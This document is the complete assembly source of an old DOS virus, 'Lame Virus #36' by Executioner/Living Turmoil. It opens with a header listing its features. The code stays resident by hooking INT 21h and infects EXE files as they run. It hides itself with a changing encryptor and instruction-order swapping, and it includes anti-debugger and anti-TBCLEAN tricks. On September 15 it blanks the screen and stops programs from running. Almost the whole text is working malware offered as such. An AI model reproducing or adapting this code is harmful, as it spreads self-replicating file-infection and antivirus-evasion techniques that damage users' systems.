Lame Virus #36
Executioner
+------------------------------------------------------------------------------+
| Lame Virus #36							       |
| by Executioner/LT							       |
|   o resident parasitic EXE infector					       |
|   o pads EXE files to nearest paragraph boundary			       |
|   o slightly polymorphic (uses fixed length variable encryptor)	       |
|   o extensive instruction order swapping				       |
|   o minor debugger traps						       |
|   o anti-TBCLEAN code 						       |
|   o displays message and refuses to let programs run on Sept. 15	       |
+------------------------------------------------------------------------------+

masm51
quirks
.model	medium
.386
v_length equ v_finish-v_start
e_length equ v_finish-e_start
m_length equ m_finish-v_start
num_para equ (m_length+15)/16
cseg	segment use16
	assume	cs:cseg,ds:cseg,ss:cseg,es:cseg
	org	0
v_start:
	cli				; kills old TBCLEAN
	neg	sp
	neg	sp
	sti
	in	al, 40h 		; get data from the timer
	mov	dl, al			; dl=timer data+1
	inc	dl
check_time:
	in	al, 40h 		; get more data from the timer
	cmp	dl, al			; are we equal to prev+1?
	jnz	check_time		; if not, go back
	push	ds
	push	es
loc_2b_1:
	push	cs
	pop	ds
loc_2b_2:
	push	cs
	pop	es
	mov	si, offset e_start
	mov	di, si
	mov	cx, e_length
do_dec_1:
	lodsb
enc_inst:
	db	6 dup (90h)
	stosb
	loop	do_dec_1
	pop	es
	pop	ds
e_start:
	push	ds
	push	es
loc_3b_1:
	mov	ax, 42f3h
loc_3b_2:
	mov	bx, 1234h
loc_3b_3:
	mov	cx, 2341h
loc_3b_4:
	mov	dx, 3412h
	int	21h
	cmp	ax, 3467h
	jz	ret_exe
	mov	ax, ds
	dec	ax
	mov	ds, ax
loc_6b_17:
	mov	byte ptr ds:[0], 'Z'
	nop
loc_6b_18:
	sub	word ptr ds:[3], num_para+1
loc_6b_19:
	sub	word ptr ds:[12h], num_para+1
	mov	ax, word ptr ds:[12h]
	mov	ds, ax
	inc	ax
	mov	es, ax
loc_6b_a:
	mov	byte ptr ds:[0], 'Z'
	nop
loc_6b_b:
	mov	word ptr ds:[1], 8
loc_6b_c:
	mov	word ptr ds:[3], num_para
	push	cs
	pop	ds
	mov	cx, (v_length+3)/4
loc_2b_3:
	sub	si, si
loc_2b_4:
	sub	di, di
	push	di
	rep	movsd
loc_3b_5:
	mov	di, offset old_int21
loc_3b_6:
	mov	si, 84h
	pop	ds
	movsd
	cli
loc_6b_d:
	mov	word ptr ds:[84h], offset new_int21
loc_6b_e:
	mov	word ptr ds:[86h], es
	nop
	nop
	sti
ret_exe:
	pop	es
	pop	ds
loc_7b_1:
	xor	cs:[orig_cs], 459fh
loc_7b_2:
	xor	cs:[orig_ss], 459fh
	mov	ax, ds
	add	ax, 10h
loc_5b_4:
	add	cs:[orig_cs], ax
loc_5b_5:
	add	cs:[orig_ss], ax
	jmp	@f
@@:
	cli
	lss	sp, dword ptr cs:[orig_sp]
	sti
	db	0eah
orig_ip dw	0
orig_cs dw	0
orig_sp dw	4000h
orig_ss dw	0
new_int21:
	pushf
	cmp	ax, 42f3h
	jnz	check_exec
	cmp	bx, 1234h
	jnz	check_exec
	cmp	cx, 2341h
	jnz	check_exec
	cmp	dx, 3412h
	jnz	check_exec
	popf
	mov	ax, 3467h
	iret
	mov	bp, sp
	mov	word ptr [bp], offset ret_exe
	iret
check_exec:
	cmp	ax, 4b00h
	jnz	do_orig_int
	call	infect_file
do_orig_int:
	popf
	db	0eah
old_int21 dd	?
infect_file:
	pusha
	push	ds
	push	es
	pusha
	push	ds
	push	es
	mov	ah, 2ah
	int	21h
	cmp	dh, 9
	jnz	no_activation
	cmp	dl, 15
	jnz	no_activation
	mov	bx, offset [e_start_2]
decrypt_bomb:
	xor	byte ptr [bx], 0
patch_loc_1:
	inc	bx
	cmp	bx, offset e_finish_2
	jnz	decrypt_bomb
e_start_2:
	mov	ax, 0b800h
	mov	es, ax
loc_3b_21:
	mov	cx, 2000
loc_3b_22:
	mov	di, 0
loc_3b_23:
	mov	ax, 0
	rep	stosw
loc_3b_24:
	push	cs
	pop	ds
	nop
loc_3b_25:
	mov	si, offset message
loc_3b_26:
	mov	di, 0
loc_3b_27:
	mov	ax, 0f00h
display_line:
	push	di
display_char:
	lodsb
	or	al, al
	jz	next_line
	cmp	al, 1
	jz	done_line
	stosw
	jmp	display_char
next_line:
	pop	di
	add	di, 160
	jmp	display_line
done_line:
	mov	ax, 0b800h
loc_3b_28:
	mov	es, ax
	nop
loc_3b_29:
	mov	ds, ax
	nop
loc_3b_2a:
	mov	bx, 80
main_loop:
	mov	dx, 3dah
retrace_1:
	in	al, dx
	test	al, 8
	jnz	retrace_1
retrace_2:
	in	al, dx
	test	al, 8
	jz	retrace_2
loc_3b_2b:
	mov	si, 160*24+2
loc_3b_2c:
	mov	di, 160*24
loc_3b_2d:
	mov	cx, 79
	rep	movsw
	mov	al, byte ptr cs:[message2+bx]
	mov	ah, 0fh
	stosw
	inc	bx
	cmp	bx, message2_len
	jb	not_over
	mov	bx, 0
not_over:
	mov	ecx, 04fffh
delay_loop:
	nop
	nop
	nop
	loopd	delay_loop
loc_2b_7:
	mov	ah, 6
loc_2b_8:
	mov	dl, 0ffh
	int	21h
	jnz	exit_loop
	jmp	main_loop
exit_loop:
	mov	ax, 4c00h
	int	21h
message2 db	"                                                                                Lame Virus #36 by Executioner/Living Turmoil '97"
message2_len equ $-message2
message db	0, 0, 0
	db	"Your computer is not available today.",0,0
	db	"Sorry for any inconvenience this may have caused you.  Please try again",0
	db	"tomorrow.  Thank you for your patronage."
	db	1
e_finish_2:
no_activation:
	pop	es
	pop	ds
	popa
	mov	ax, 3d02h
	int	21h
	xchg	bx, ax
	mov	si, offset anti_goat_start
decrypt_anti_goat:
	xor	byte ptr cs:[si], 0
patch_loc2:
	inc	si
	cmp	si, offset anti_goat_finish
	jnz	decrypt_anti_goat
anti_goat_start:
	mov	byte ptr cs:[patch_loc2-1], 0
	call	f_seek_eof
	cmp	dx, 0
	jnz	over_64k
	jmp	do_not_infect
over_64k:
anti_goat_finish:
	call	random
	mov	si, offset anti_goat_start
	mov	byte ptr cs:[patch_loc2-1], al
encrypt_anti_goat:
	xor	byte ptr cs:[si], al
	inc	si
	cmp	si, offset anti_goat_finish
	jnz	encrypt_anti_goat
loc_2b_5:
	push	cs
	pop	ds
loc_2b_6:
	push	cs
	pop	es
	call	f_seek_sof
loc_3b_7:
	mov	cx, 20h
loc_3b_8:
	mov	dx, offset s_buffer
	call	f_read
	cmp	word ptr [s_buffer+12h], 'EX'
	jz	do_not_infect
	cmp	word ptr [s_buffer+18h], 40h
	nop
	jae	do_not_infect
loc_9b_1:
	mov	ax, word ptr [s_buffer+16h]
	xor	ax, 459fh
	mov	[orig_cs], ax
loc_9b_2:
	mov	ax, word ptr [s_buffer+0eh]
	xor	ax, 459fh
	mov	[orig_ss], ax
loc_6b_4:
	mov	ax, word ptr [s_buffer+14h]
	mov	[orig_ip], ax
loc_6b_5:
	mov	ax, word ptr [s_buffer+10h]
	mov	[orig_sp], ax
	call	f_seek_eof
	and	ax, 0fh
	mov	cx, 10h
	sub	cx, ax
loc_3b_1b:
	and	cx, 0fh
loc_3b_1c:
	mov	dx, 0
	call	f_write
	call	f_seek_eof
loc_3b_9:
	shr	ax, 4
loc_3b_a:
	shl	dx, 12
	or	ax, dx
	sub	ax, word ptr [s_buffer+8]
loc_6b_1:
	mov	word ptr [s_buffer+14h], 0
	mov	word ptr [s_buffer+16h], ax
	add	ax, num_para
	mov	word ptr [s_buffer+0eh], ax
loc_6b_2:
	mov	word ptr [s_buffer+10h], 200h
loc_6b_3:
	mov	word ptr [s_buffer+12h], 'EX'
	call	swap_pair
	call	swap_pair2
	call	encrypt
loc_3b_b:
	mov	dx, 0
loc_3b_c:
	mov	cx, offset e_start
	call	f_write
loc_3b_d:
	mov	dx, offset e_buffer
loc_3b_e:
	mov	cx, e_length
	call	f_write
	call	f_seek_eof
	mov	cx, ax
loc_3b_f:
	shr	ax, 9
loc_3b_10:
	shl	dx, 7
loc_4b_1:
	or	ax, dx
	inc	ax
	nop
loc_4b_2:
	and	cx, 1ffh
loc_4b_3:
	mov	word ptr [s_buffer+2], cx
loc_4b_4:
	mov	word ptr [s_buffer+4], ax
	nop
	call	f_seek_sof
loc_3b_11:
	mov	dx, offset s_buffer
loc_3b_12:
	mov	cx, 20h
	call	f_write
do_not_infect:
	call	f_close
	pop	es
	pop	ds
	popa
	retn
encrypt:
	pusha
	pusha
	call	random
	xor	byte ptr [patch_loc_1-1], al
	mov	bx, offset e_start_2
encrypt_bomb:
	xor	byte ptr [bx], al
	inc	bx
	cmp	bx, offset e_finish_2
	jnz	encrypt_bomb
	popa
loc_3b_13:
	mov	bx, 0
loc_3b_14:
	mov	si, 4
loc_3b_15:
	mov	cx, 3
get_encryptor:
	call	random			; get encryption method (dl)
	mov	dl, al
	and	dl, 3
	call	random			; get encryption key (ah)
	or	dl, dl
	jz	encode_xor
	push	offset encode_done
	dec	dl
	jz	encode_add
	dec	dl
	jz	encode_not
encode_neg:
loc_12b_1:
loc_6b_13:
	mov	word ptr [si+encrypt_proc], 0d8f6h
loc_6b_14:
	mov	word ptr [bx+enc_inst], 0d8f6h
	retn
encode_add:
loc_12b_2:
loc_6b_f:
	mov	al, 04h
	mov	word ptr [si+encrypt_proc], ax
loc_6b_10:
	mov	al, 2ch
	mov	word ptr [bx+enc_inst], ax
	retn
encode_not:
loc_12b_3:
loc_6b_11:
	mov	word ptr [si+encrypt_proc], 0d0f6h
loc_6b_12:
	mov	word ptr [bx+enc_inst], 0d0f6h
	retn
encode_xor:
	mov	al, 34h
loc_4b_5:
	mov	word ptr [si+encrypt_proc], ax
loc_4b_6:
	mov	word ptr [bx+enc_inst], ax
encode_done:
loc_3b_16:
	add	bx, 2
loc_3b_17:
	sub	si, 2
	loop	get_encryptor
loc_3b_18:
	mov	si, offset e_start
loc_3b_19:
	mov	di, offset e_buffer
loc_3b_1a:
	mov	cx, e_length
encrypt_1:
	lodsb
	call	encrypt_proc
	stosb
	loop	encrypt_1
	popa
	retn
encrypt_proc:
	db	6 dup (?)
	retn
; do some swapping about
swap_pair:
	pusha
	cli
loc3_3b_1:
	mov	si, offset swap_table
loc3_3b_2:
	mov	bp, offset swap_table
	lodsw
swap_loop:
loc3_1b_1:
	cli
loc3_1b_2:
	lodsw
	or	ax, ax
	jz	done_swap_routine
	mov	bx, ax
	lodsw
loc3_2b_1:
	mov	dx, ax
loc3_2b_2:
	push	si
	push	ax
	call	random
	test	al, 1
	pop	ax
	jz	no_swap
loc3_4b_1:
	mov	si, bx
	nop
	nop
loc3_4b_2:
	mov	di, offset swap_temp
	nop
loc3_4b_3:
	mov	cx, cs:[bp]
	rep	movsb
loc3_2b_3:
	mov	si, dx
loc3_2b_4:
	mov	di, bx
	mov	cx, cs:[bp]
	rep	movsb
loc3_4b_4:
	mov	si, offset swap_temp
	nop
loc3_4b_5:
	mov	di, dx
	nop
	nop
loc3_4b_6:
	mov	cx, cs:[bp]
	rep	movsb
no_swap:
	pop	si
	jmp	swap_loop
done_swap_routine:
	lodsw
	or	ax, ax			; 0 means finished, else we're
	jz	done_totally		; just swapping blocks of a different
loc3_3b_3:
	mov	bp, si			; size
	nop
loc3_3b_4:
	sub	bp, 2
	jmp	swap_loop
done_totally:
	popa
	retn

swap_pair2:
	pusha
	cli
loc2_3b_1:
	mov	si, offset swap_table2
loc2_3b_2:
	mov	bp, offset swap_table2
	lodsw
swap_loop2:
loc2_1b_1:
	cli
loc2_1b_2:
	lodsw
	or	ax, ax
	jz	done_swap_routine2
	mov	bx, ax
	lodsw
loc2_2b_1:
	mov	dx, ax
loc2_2b_2:
	push	si
	push	ax
	call	random
	test	al, 1
	pop	ax
	jz	no_swap2
loc2_4b_1:
	mov	si, bx
	nop
	nop
loc2_4b_2:
	mov	di, offset swap_temp
	nop
loc2_4b_3:
	mov	cx, cs:[bp]
	rep	movsb
loc2_2b_3:
	mov	si, dx
loc2_2b_4:
	mov	di, bx
	mov	cx, cs:[bp]
	rep	movsb
loc2_4b_4:
	mov	si, offset swap_temp
	nop
loc2_4b_5:
	mov	di, dx
	nop
	nop
loc2_4b_6:
	mov	cx, cs:[bp]
	rep	movsb
no_swap2:
	pop	si
	jmp	swap_loop2
done_swap_routine2:
	lodsw
	or	ax, ax			; 0 means finished, else we're
	jz	done_totally2		; just swapping blocks of a different
loc2_3b_3:
	mov	bp, si			; size
	nop
loc2_3b_4:
	sub	bp, 2
	jmp	swap_loop2
done_totally2:
	popa
	retn
random:
	push	cx
	push	dx
	in	al, 40h
	xor	[seed], ax
	mov	ax, [seed]
	mov	cx, 12345
	mul	cx
	add	ax, 12345
	mov	[seed], ax
	pop	dx
	pop	cx
	retn
f_seek_eof:
	mov	al, 02h
	jmp	f_seek_1
f_seek_sof:
	mov	al, 00h
f_seek_1:
	mov	ah, 42h
loc_2b_9:
	sub	cx, cx
loc_2b_a:
	sub	dx, dx
	int	21h
	retn
f_write:
	mov	ah, 40h
	int	21h
	retn
f_read:
	mov	ah, 3fh
	int	21h
	retn
f_close:
	mov	ah, 3eh
	int	21h
	retn
swap_table:
	dw	3
	dw	offset loc_3b_1, offset loc_3b_2
	dw	offset loc_3b_2, offset loc_3b_3
	dw	offset loc_3b_3, offset loc_3b_4
	dw	offset loc_3b_5, offset loc_3b_6
	dw	offset loc_3b_7, offset loc_3b_8
	dw	offset loc_3b_9, offset loc_3b_a
	dw	offset loc_3b_b, offset loc_3b_c
	dw	offset loc_3b_d, offset loc_3b_e
	dw	offset loc_3b_f, offset loc_3b_10
	dw	offset loc_3b_11, offset loc_3b_12
	dw	offset loc_3b_13, offset loc_3b_14
	dw	offset loc_3b_14, offset loc_3b_15
	dw	offset loc_3b_16, offset loc_3b_17
	dw	offset loc_3b_18, offset loc_3b_19
	dw	offset loc_3b_19, offset loc_3b_1a
	dw	offset loc_3b_1b, offset loc_3b_1c
	dw	0, 4
	dw	offset loc_4b_1, offset loc_4b_2
	dw	offset loc_4b_3, offset loc_4b_4
	dw	offset loc_4b_5, offset loc_4b_6
	dw	0, 5
	dw	offset loc_5b_4, offset loc_5b_5
	dw	0, 7
	dw	offset loc_7b_1, offset loc_7b_2
	dw	0, 2		; begin 2 byte swaps
	dw	offset loc_2b_1, offset loc_2b_2
	dw	offset loc_2b_3, offset loc_2b_4
	dw	offset loc_2b_5, offset loc_2b_6
	dw	offset loc_2b_7, offset loc_2b_8
	dw	offset loc_2b_9, offset loc_2b_a
	dw	0, 6		; begin 6 byte swaps
	dw	offset loc_6b_1, offset loc_6b_2
	dw	offset loc_6b_2, offset loc_6b_3
	dw	offset loc_6b_4, offset loc_6b_5
	dw	offset loc_6b_a, offset loc_6b_b
	dw	offset loc_6b_b, offset loc_6b_c
	dw	offset loc_6b_d, offset loc_6b_e
	dw	offset loc_6b_f, offset loc_6b_10
	dw	offset loc_6b_11, offset loc_6b_12
	dw	offset loc_6b_13, offset loc_6b_14
	db	offset loc_6b_17, offset loc_6b_18
	db	offset loc_6b_18, offset loc_6b_19

	dw	0, 9		; begin 9 byte swaps
	dw	offset loc_9b_1, offset loc_9b_2
	dw	0, 12
	dw	offset loc_12b_1, offset loc_12b_2
	dw	offset loc_12b_2, offset loc_12b_3
	dw	0, 1
	dw	offset loc3_1b_1, offset loc3_1b_2
	dw	0, 2
	dw	offset loc3_2b_1, offset loc3_2b_2
	dw	offset loc3_2b_3, offset loc3_2b_4
	dw	0, 3
	dw	offset loc3_3b_1, offset loc3_3b_2
	dw	0, 4
	dw	offset loc3_4b_1, offset loc3_4b_2
	dw	offset loc3_4b_2, offset loc3_4b_3
	dw	offset loc3_4b_4, offset loc3_4b_5
	dw	offset loc3_4b_5, offset loc3_4b_6
	dw	0, 0		; end of data
swap_table2:
	dw	1
	dw	offset loc2_1b_1, offset loc2_1b_2
	dw	0, 2
	dw	offset loc2_2b_1, offset loc2_2b_2
	dw	offset loc2_2b_3, offset loc2_2b_4
	dw	0, 3
	dw	offset loc2_3b_1, offset loc2_3b_2
	dw	0, 4
	dw	offset loc2_4b_1, offset loc2_4b_2
	dw	offset loc2_4b_2, offset loc2_4b_3
	dw	offset loc2_4b_4, offset loc2_4b_5
	dw	offset loc2_4b_5, offset loc2_4b_6
	dw	0, 0
	seed	dw	?
v_mark	db	"Lame Virus #36",0
v_finish:
s_buffer db 20h dup (0)
swap_temp db 20h dup (0)
mut_data db 6 dup (0)
e_buffer db e_length dup (0)
m_finish:
cseg	ends

init	segment use16
	assume	cs:init,ds:init
	org	0
i_start:
	mov	bx, seg init
	mov	ax, ds
	sub	bx, ax
	sub	bx, 10h
	mov	ax, seg cseg
	mov	ds, ax
	assume	ds:cseg
	xor	bx, 459fh
	mov	[orig_cs], bx
	mov	[orig_ip], offset i_cont
	mov	[orig_ss], bx
	push	es
	pop	ds
	jmp	far ptr cseg:v_start
i_cont:
	mov	ax, 4c00h
	int	21h
init	ends
	end	i_start
